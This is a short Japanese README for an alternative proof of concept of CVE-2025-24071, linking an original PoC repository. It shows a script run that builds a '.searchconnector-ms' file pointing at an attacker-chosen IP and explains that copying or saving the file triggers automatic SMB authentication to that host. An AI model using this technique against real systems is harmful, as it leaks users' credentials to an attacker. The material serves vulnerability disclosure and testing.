CVE-2025-24071_PoC の代替
オリジナルコード https://github.com/0x6rss/CVE-2025-24071_PoC
別の類似した拡張子でテストを行った際、同じ構造で ".searchconnector-ms" を試しましたが、最初のPoCと同じ問題も発生していました。
python poc2.py
共有リソースのIPアドレスを入力してください: 192.168.88.33
ファイル 'network_share.searchconnector-ms' が IP 192.168.88.33 で作成されました。
そして、ファイルを送信、コピー、または保存すると、自動的にSMBリソースへの認証が実行されます。
//Vmware テスト時、ファイルを仮想マシンにコピーするだけで、SMBリソースへの認証が実行されました。
https://github.com/user-attachments/assets/2b71cc32-5010-4840-bf13-bd134c305d12
